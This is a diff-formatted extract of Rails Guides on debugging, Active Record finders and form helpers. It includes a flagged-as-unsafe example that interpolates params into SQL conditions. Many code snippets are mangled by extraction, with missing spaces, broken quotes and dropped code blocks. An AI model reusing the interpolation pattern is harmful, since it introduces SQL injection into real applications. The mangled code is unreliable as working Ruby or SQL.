To write in the current log use the logger.(debug|info|warn|error|fatal) method from within a controller, model or mailer:
Here's an example of a method instrumented with extra logging:
+
+
+
class PostsController < ApplicationController
+ # ...
+
+ def create
+ @post= Post.new(params[:post])
+ logger.debug "New post: #{@post.attributes.inspect}"
+ logger.debug "Post should be valid: #{@post.valid?}"
+
+ if@post.save
+ flash[:notice]='Post was successfully created.'
+ logger.debug "The post was saved and now is the user is going to be redirected..."
+ redirect_to(@post)
+ else
+ render :action =>"new"
+ end
+ end
+
+ # ...
+end
+
+
Here's an example of the log generated by this method:
+
+
+
Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST]
+ Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl
+vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4
+ Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails",
+ "body"=>"I'm learning how to print in logs!!!", "published"=>"0"},
+ "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"}
+New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!",
+ "published"=>false, "created_at"=>nil}
+Post should be valid: true
+ Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published",
+ "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails',
+ 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54')
+The post was saved and now is the user is going to be redirected...
+Redirected to #<Post:0x20af760>
+Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts]
+
+
Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia.
+
+
3. Debugging with ruby-debug
+
+
When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
3.1. Setup
+
The debugger used by Rails, ruby-debug, comes as a gem. To install it, just run:
+
+
+
$ sudo gem install ruby-debug
+
+
In case you want to download a particular version or get the source code, refer to the project's page on rubyforge.
+
Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the debugger method.
+
Here's an example:
+
+
+
class PeopleController < ApplicationController
+ def new
+ debugger
+ @person= Person.new
+ end
+end
+
+
If you see the message in the console or logs:
+
+
+
***** Debugger requested, but was not available: Start server with --debugger to enable *****
+
+
Make sure you have started your web server with the option —debugger:
+
+
+
~/PathTo/rails_project$ script/server --debugger
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+
+
+
+
+
+
+
In development mode, you can dynamically require 'ruby-debug' instead of restarting the server, if it was started without —debugger.
+
+
+
In order to use Rails debugging you'll need to be running either WEBrick or Mongrel. For the moment, no alternative servers are supported.
+
3.2. The Shell
+
As soon as your application calls the debugger method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt (rdb:n). The n is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
For example:
+
+
+
@posts = Post.find(:all)
+(rdb:7)
+
+
Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help… so type: help (You didn't see that coming, right?)
+
+
+
(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace delete enable help next quit show trace
+break disable eval info p reload source undisplay
+catch display exit irb pp restart step up
+condition down finish list ps save thread var
+continue edit frame method putl set tmate where
+
+
+
+
+
+
+
To view the help menu for any command use help <command-name> in active debug mode. For example: help var
+
+
+
The next command to learn is one of the most useful: list. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use l for the list command.
+
This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by ⇒.
+
+
+
(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+ 1 class PostsController < ApplicationController
+ 2 # GET /posts
+ 3 # GET /posts.xml
+ 4 def index
+ 5 debugger
+=> 6 @posts = Post.find(:all)
+ 7
+ 8 respond_to do |format|
+ 9 format.html # index.html.erb
+ 10 format.xml { render :xml => @posts }
+
+
If you repeat the list command, this time using just l, the next ten lines of the file will be printed out.
+
+
+
(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+ 11 end
+ 12 end
+ 13
+ 14 # GET /posts/1
+ 15 # GET /posts/1.xml
+ 16 def show
+ 17 @post = Post.find(params[:id])
+ 18
+ 19 respond_to do |format|
+ 20 format.html # show.html.erb
+
+
And so on until the end of the current file. When the end of file is reached, the list command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
3.3. The Context
+
When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
At any time you can call the backtrace command (or its alias where) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then backtrace will supply the answer.
+
+
+
(rdb:5) where
+ #0 PostsController.index
+ at line /PathTo/project/app/controllers/posts_controller.rb:6
+ #1 Kernel.send
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+ #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+
+
You move anywhere you want in this trace (thus changing the context) by using the frame n command, where n is the specified frame number.
+
+
+
(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+ at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+
+
The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
Moving up and down the stack frame: You can use up [n] (u for abbreviated) and down [n] commands in order to change the context n frames up or down the stack respectively. n defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
3.4. Threads
+
The debugger can list, stop, resume and switch between running threads by using the command thread (or the abbreviated th). This command has a handful of options:
+
+
+
+thread shows the current thread.
+
+
+
+
+thread list is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+
+
+
+
+thread stop n stop thread n.
+
+
+
+
+thread resume n resumes thread n.
+
+
+
+
+thread switch n switches the current thread context to n.
+
+
+
+
This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
3.5. Inspecting Variables
+
Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
This example shows how you can print the instance_variables defined within the current context:
As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using next (you'll learn more about this command later in this guide).
+
+
+
(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+ Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+ Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
Now @posts is a included in the instance variables, because the line defining it was executed.
+
+
+
+
+
+
You can also step into irb mode with the command irb (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+
+
The var method is the most convenient way to show variables and their values:
+
+
+
var
+(rdb:1) v[ar] const <object> show constants of object
+(rdb:1) v[ar] g[lobal] show global variables
+(rdb:1) v[ar] i[nstance] <object> show instance variables of object
+(rdb:1) v[ar] l[ocal] show local variables
+
+
This is a great way to inspect the values of the current context variables. For example:
+
+
+
(rdb:9) var local
+ __dbg_verbose_save => false
+
+
You can also inspect for an object method this way:
The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use undisplay n where n is the variable number (1 in the last example).
+
3.6. Step by Step
+
Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
Use step (abbreviated s) to continue running your program until the next logical stopping point and return control to ruby-debug.
+
+
+
+
+
+
You can also use step+ n and step- n to move forward or backward n steps respectively.
+
+
+
You may also use next which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move n steps.
+
The difference between next and step is that step stops at the next line of code executed, doing just a single step, while next moves to the next line without descending inside methods.
+
For example, consider this block of code with an included debugger statement:
Now you can see that the @comments relationship was loaded and @recent_comments defined because the line was executed.
+
If you want to go deeper into the stack trace you can move single steps, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
3.7. Breakpoints
+
A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
You can add breakpoints dynamically with the command break (or just b). There are 3 possible ways of adding breakpoints manually:
+
+
+
+break line: set breakpoint in the line in the current source file.
+
+
+
+
+break file:line [if expression]: set breakpoint in the line number inside the file. If an expression is given it must evaluated to true to fire up the debugger.
+
+
+
+
+break class(.|#)method [if expression]: set breakpoint in method (. and # for class and instance method respectively) defined in class. The expression works the same way as with file:line.
+
+
+
+
+
+
(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+
+
Use info breakpoints n or info break n to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+
+
(rdb:5) info breakpoints
+Num Enb What
+ 1 y at filters.rb:10
+
+
To delete breakpoints: use the command delete n to remove the breakpoint number n. If no number is specified, it deletes all breakpoints that are currently active..
+
+
+
(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+
+
You can also enable or disable breakpoints:
+
+
+
+enable breakpoints: allow a list breakpoints or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+
+
+
+
+disable breakpoints: the breakpoints will have no effect on your program.
+
+
+
+
3.8. Catching Exceptions
+
The command catch exception-name (or just cat exception-name) can be used to intercept an exception of type exception-name when there would otherwise be is no handler for it.
+
To list all active catchpoints use catch.
+
3.9. Resuming Execution
+
There are two ways to resume execution of an application that is stopped in the debugger:
+
+
+
+continue [line-specification] (or c): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+
+
+
+
+finish [frame-number] (or fin): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+
+
+
3.10. Editing
+
Two commands allow you to open code from the debugger into an editor:
+
+
+
+edit [file:line]: edit file using the editor specified by the EDITOR environment variable. A specific line can also be given.
+
+
+
+
+tmate n (abbreviated tm): open the current file in TextMate. It uses n-th frame if n is specified.
+
+
+
+
3.11. Quitting
+
To exit the debugger, use the quit command (abbreviated q), or its alias exit.
+
A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
3.12. Settings
+
There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
+
+
+
+set reload: Reload source code when changed.
+
+
+
+
+set autolist: Execute list command on every breakpoint.
+
+
+
+
+set listsize n: Set number of source lines to list by default to n.
+
+
+
+
+set forcestep: Make sure the next and step commands always move to a new line
+
+
+
+
You can see the full list by using help set. Use help set subcommand to learn about a particular set command.
+
+
+
+
+
+
You can include any number of these configuration lines inside a .rdebugrc file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+
+
+
Here's a good start for an .rdebugrc:
+
+
+
set autolist
+set forcestep
+set listsize 25
+
+
+
4. Debugging Memory Leaks
+
+
A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
+
To install it run:
+
+
+
sudo gem install bleak_house
+
+
Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:
+
+
+
require'bleak_house'if ENV['BLEAK_HOUSE']
+
+
Start a server instance with BleakHouse integration:
Make sure to run a couple hundred requests to get better data samples, then press CTRL-C. The server will stop and Bleak House will produce a dumpfile in /tmp:
+
+
+
** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
+
+
To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
+
+
+
191691 total objects
+ Final heap size 191691 filled, 220961 free
+ Displaying top 20 most common line/class pairs
+ 89513 __null__:__null__:__node__
+ 41438 __null__:__null__:String
+ 2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+ 1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+ 1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+ 951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+ 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+ 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+ ...
+
+
This way you can find where your application is leaking memory and fix it.
+
If BleakHouse doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+
4.2. Valgrind
+
Valgrind is a Linux-only application for detecting C-based memory leaks and race conditions.
+
There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls malloc() but is doesn't properly call free(), this memory won't be available until the app terminates.
+
For further information on how to install Valgrind and use with Ruby, refer to Valgrind and Ruby by Evan Weaver.
+
+
5. Plugins for Debugging
+
+
There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+
+
+Footnotes: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+
+
+
+
+Query Trace: Adds query origin tracing to your logs.
+
+
+
+
+Query Stats: A Rails plugin to track database queries.
+
+
+
+
+Query Reviewer: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+
+
+
+
+Exception Notifier: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+
+
+
+
+Exception Logger: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+
This guide covers the find method defined in ActiveRecord::Base, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:
+
+
+
+Find records using a variety of methods and conditions
+
+
+
+
+Specify the order, retrieved attributes, grouping, and other properties of the found records
+
+
+
+
+Use eager loading to cut down on the number of database queries in your application
+
+
+
+
+Use dynamic finders
+
+
+
+
+Create named scopes to add custom finding behavior to your models
+
+
+
+
+Check for the existence of particular records
+
+
+
+
+Perform aggregate calculations on Active Record models
+
+
+
+
If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+
+
1. The Sample Models
+
+
This guide demonstrates finding using the following models:
Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+
3. IDs, First, Last and All
+
+
ActiveRecord::Base has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is find. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type Client.find(1) which would execute this query on your database:
+
+
+
SELECT*FROM+clients+WHERE(+clients+.+id+=1)
+
+
+
+
+
+
+
Because this is a standard table created from a migration in Rail, the primary key is defaulted to id. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
+
+
+
If you wanted to find clients with id 1 or 2, you call Client.find([1,2]) or Client.find(1,2) and then this will be executed as:
As alternatives to calling Client.first, Client.last, and Client.all, you can use the class methods Client.first, Client.last, and Client.all instead. Client.first, Client.last and Client.all just call their longer counterparts: Client.find(:first), Client.find(:last) and Client.find(:all) respectively.
+
Be aware that Client.first/Client.find(:first) and Client.last/Client.find(:last) will both return a single object, where as Client.all/Client.find(:all) will return an array of Client objects, just as passing in an array of ids to find will do also.
+
+
4. Conditions
+
+
The find method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.
+
4.1. Pure String Conditions
+
If you'd like to add conditions to your find, you could just specify them in there, just like Client.first(:conditions ⇒ "orders_count = 2"). This will find all clients where the orders_count field's value is 2.
+
+
+
+
+
+
Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, Client.first(:conditions ⇒ "name LIKE %#{params[:name]}%") is not safe. See the next section for the preferred way to handle conditions using an array.
+
+
+
4.2. Array Conditions
+
Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like Client.first(:conditions ⇒ ["orders_count = ?", params[:orders]]). Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like Client.first(:conditions ⇒ ["orders_count = ? AND locked = ?", params[:orders], false]). In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has 2 as its value for the orders_count field and false for its locked field.
is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database as-is. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.
If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
+
+
+
Client.all(:conditions =>["created_at IN (?)",
+ (params[:start_date].to_date)..(params[:end_date].to_date)])
+
+
This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
This makes for clearer readability if you have a large number of variable conditions.
+
+
5. Ordering
+
+
If you're getting a set of records and want to force an order, you can use Client.all(:order ⇒ "created_at") which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using Client.all(:order ⇒ "created_at desc")
+
+
6. Selecting Certain Fields
+
+
To select certain fields, you can use the select option like this: Client.first(:select ⇒ "viewable_by, locked"). This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute SELECT viewable_by, locked FROM clients LIMIT 0,1 on your database.
+
+
7. Limit & Offset
+
+
If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:
+
+
+
Client.all(:limit =>5)
+
+
This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
+
+
+
SELECT*FROM clients LIMIT5
+
+
+
+
Client.all(:limit =>5,:offset =>5)
+
+
This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
+
+
+
SELECT*FROM clients LIMIT5,5
+
+
+
8. Group
+
+
The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:
And this will give you a single Order object for each date where there are orders in the database.
+
The SQL that would be executed would be something like this:
+
+
+
SELECT*FROM+orders+GROUPBYdate(created_at)
+
+
+
9. Read Only
+
+
Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an Active Record::ReadOnlyRecord exception. To set this option, specify it like this:
+
+
+
Client.first(:readonly =>true)
+
+
If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:
If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.
+
+
+
Topic.transaction do
+ t = Topic.find(params[:id],:lock =>true)
+ t.increment!(:views)
+end
+
+
+
11. Making It All Work Together
+
+
You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.
+
+
12. Eager Loading
+
+
Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use Client.all(:include ⇒ :address). If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include ⇒ [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:
The numbers 13 and 14 in the above SQL are the ids of the clients gathered from the Client.all query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called address or mailing_address on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.
+
If you wanted to get all the addresses for a client in the same query you would do Client.all(:joins ⇒ :address) and you wanted to find the address and mailing address for that client you would do Client.all(:joins ⇒ [:address, :mailing_address]). This is more efficient because it does all the SQL in one query, as shown by this example:
+
+
+
+Client Load(0.000455)SELECT clients.*FROM clients INNERJOIN addresses
+ ON addresses.client_id = client.id INNERJOIN mailing_addresses ON
+ mailing_addresses.client_id = client.id
+
+
This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):
+
+
+
Client.all(:joins => “LEFT OUTER JOIN addresses ON
+ client.id = addresses.client_id LEFT OUTER JOIN mailing_addresses ON
+ client.id = mailing_addresses.client_idâ€)
+
+
When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:
For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called name on your Client model for example, you get find_by_name and find_all_by_name for free from Active Record. If you have also have a locked field on the client model, you also get find_by_locked and find_all_by_locked. If you want to find both by name and locked, you can chain these finders together by simply typing and between the fields for example Client.find_by_name_and_locked(Ryan, true). These finders are an excellent alternative to using the conditions option, mainly because it's shorter to type find_by_name(params[:name]) than it is to type first(:conditions ⇒ ["name = ?", params[:name]]).
+
There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like find_or_create_by_name(params[:name]). Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for Client.find_or_create_by_name(Ryan):
find_or_create's sibling, find_or_initialize, will find an object and if it does not exist will call new with the parameters you passed in. For example:
will either assign an existing client object with the name Ryan to the client local variable, or initialize new object similar to calling Client.new(:name ⇒ Ryan). From here, you can modify other fields in client by calling the attribute setters on it: client.locked = true and when you want to write it to the database just call save on it.
+
+
14. Finding By SQL
+
+
If you'd like to use your own SQL to find records a table you can use find_by_sql. The find_by_sql method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:
+
+
+
Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc")
+
+
find_by_sql provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+
15. select_all
+
+
find_by_sql has a close relative called connection#select_all. select_all will retrieve objects from the database using custom SQL just like find_by_sql but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+
+
Client.connection.select_all("SELECT * FROM `clients` WHERE `id` = '1'")
+
+
+
16. Working with Associations
+
+
When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like Client.find(params[:id]).orders.find_by_sent_and_received(true, false). Having this find method available on associations is extremely helpful when using nested controllers.
+
+
17. Named Scopes
+
+
Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.
+
17.1. Simple Named Scopes
+
Suppose want to find all clients who are male. You could use this code:
Then you could call Client.males.all to get all the clients who are male. Please note that if you do not specify the all on the end you will get a Scope object back, not a set of records which you do get back if you put the all on the end.
+
If you wanted to find all the clients who are active, you could use this:
You can call this new named_scope with Client.active.all and this will do the same query as if we just used Client.all(:conditions ⇒ ["active = ?", true]). Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do Client.active.first.
+
17.2. Combining Named Scopes
+
If you wanted to find all the clients who are active and male you can stack the named scopes like this:
+
+
+
Client.males.active.all
+
+
If you would then like to do a all on that scope, you can. Just like an association, named scopes allow you to call all on them:
This looks like a standard named scope that defines a method called recent which gathers all records created any time between now and 2 weeks ago. That's correct for the first time the model is loaded but for any time after that, 2.weeks.ago is set to that same value, so you will consistently get records from a certain date until your model is reloaded by something like your application restarting. The way to fix this is to put the code in a lambda block:
And now every time the recent named scope is called, the code in the lambda block will be parsed, so you'll get actually 2 weeks ago from the code execution, not 2 weeks ago from the time the model was loaded.
+
17.4. Named Scopes with Multiple Models
+
In a named scope you can use :include and :joins options just like in find.
This will work if you call Client.recent(2.weeks.ago).all but not if you call Client.recent. If you want to add an optional argument for this, you have to use the splat operator as the block's parameter.
This will work with Client.recent(2.weeks.ago).all and Client.recent.all, with the latter always returning records with a created_at date between right now and 2 weeks ago.
+
Remember that named scopes are stackable, so you will be able to do Client.recent(2.weeks.ago).unlocked.all to find all clients created between right now and 2 weeks ago and have their locked field set to false.
+
17.6. Anonymous Scopes
+
All Active Record models come with a named scope named scoped, which allows you to create anonymous scopes. For example:
+
+
+
class Client < ActiveRecord::Base
+ defself.recent
+ scoped :conditions =>["created_at > ?",2.weeks.ago]
+ end
+end
+
+
Anonymous scopes are most useful to create scopes "on the fly":
+
+
+
Client.scoped(:conditions =>{:gender =>"male"})
+
+
Just like named scopes, anonymous scopes can be stacked, either with other anonymous scopes or with regular named scopes.
+
+
18. Existence of Objects
+
+
If you simply want to check for the existence of the object there's a method called exists?. This method will query the database using the same query as find, but instead of returning an object or collection of objects it will return either true or false.
+
+
+
Client.exists?(1)
+
+
The above code will check for the existence of a clients table record with the id of 1 and return true if it exists.
+
+
+
Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+
+
The exists? method also takes multiple ids, as shown by the above code, but the catch is that it will return true if any one of those records exists.
+
Further more, exists takes a conditions option much like find:
This code specifies clients.first_name just in case one of the join tables has a field also called first_name and it uses orders.status because that's the name of our join table.
+
19.1. Count
+
If you want to see how many records are in your model's table you could call Client.count and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use Client.count(:age).
+
For options, please see the parent section, Calculations.
+
19.2. Average
+
If you want to see the average of a certain number in one of your tables you can call the average method on the class that relates to the table. This method call will look something like this:
+
+
+
Client.average("orders_count")
+
+
This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
For options, please see the parent section, Calculations
+
19.3. Minimum
+
If you want to find the minimum value of a field in your table you can call the minimum method on the class that relates to the table. This method call will look something like this:
+
+
+
Client.minimum("age")
+
+
For options, please see the parent section, Calculations
+
19.4. Maximum
+
If you want to find the maximum value of a field in your table you can call the maximum method on the class that relates to the table. This method call will look something like this:
+
+
+
Client.maximum("age")
+
+
For options, please see the parent section, Calculations
+
19.5. Sum
+
If you want to find the sum of a field for all records in your table you can call the sum method on the class that relates to the table. This method call will look something like this:
+
+
+
Client.sum("orders_count")
+
+
For options, please see the parent section, Calculations
+
+
20. Credits
+
+
Thanks to Ryan Bates for his awesome screencast on named scope #108. The information within the named scope section is intentionally similar to it, and without the cast may have not been possible.
+
Thanks to Mike Gunderloy for his tips on creating this guide.
Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
In this guide we will:
+
+
+
+Create search forms and similar kind of generic forms not representing any specific model in your application;
+
+
+
+
+Make model-centric forms for creation and editing of specific database records;
+
+
+
+
+Generate select boxes from multiple types of data;
+
+
+
+
+Learn what makes a file upload form different;
+
+
+
+
+Build complex, multi-model forms.
+
+
+
+
+
+
+
+
+
This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit the Rails API documentation for a complete reference.
+
+
+
+
+
1. Basic forms
+
+
The most basic form helper is form_tag.
+
+
+
<% form_tag do %>
+ Form contents
+<% end %>
+
+
When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):
If you carefully observe this output, you can see that the helper generated something we didn't specify: a div element with a hidden input inside. This is a security feature of Rails called cross-site request forgery protection and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
+
+
+
+
+
+
Throughout this guide, this div with the hidden input will be stripped away to have clearer code samples.
+
+
+
1.1. Generic search form
+
Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
+
+
+
+a form element with "GET" method,
+
+
+
+
+a label for the input,
+
+
+
+
+a text input element, and
+
+
+
+
+a submit element.
+
+
+
+
+
+
+
+
+
Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.
+
+
+
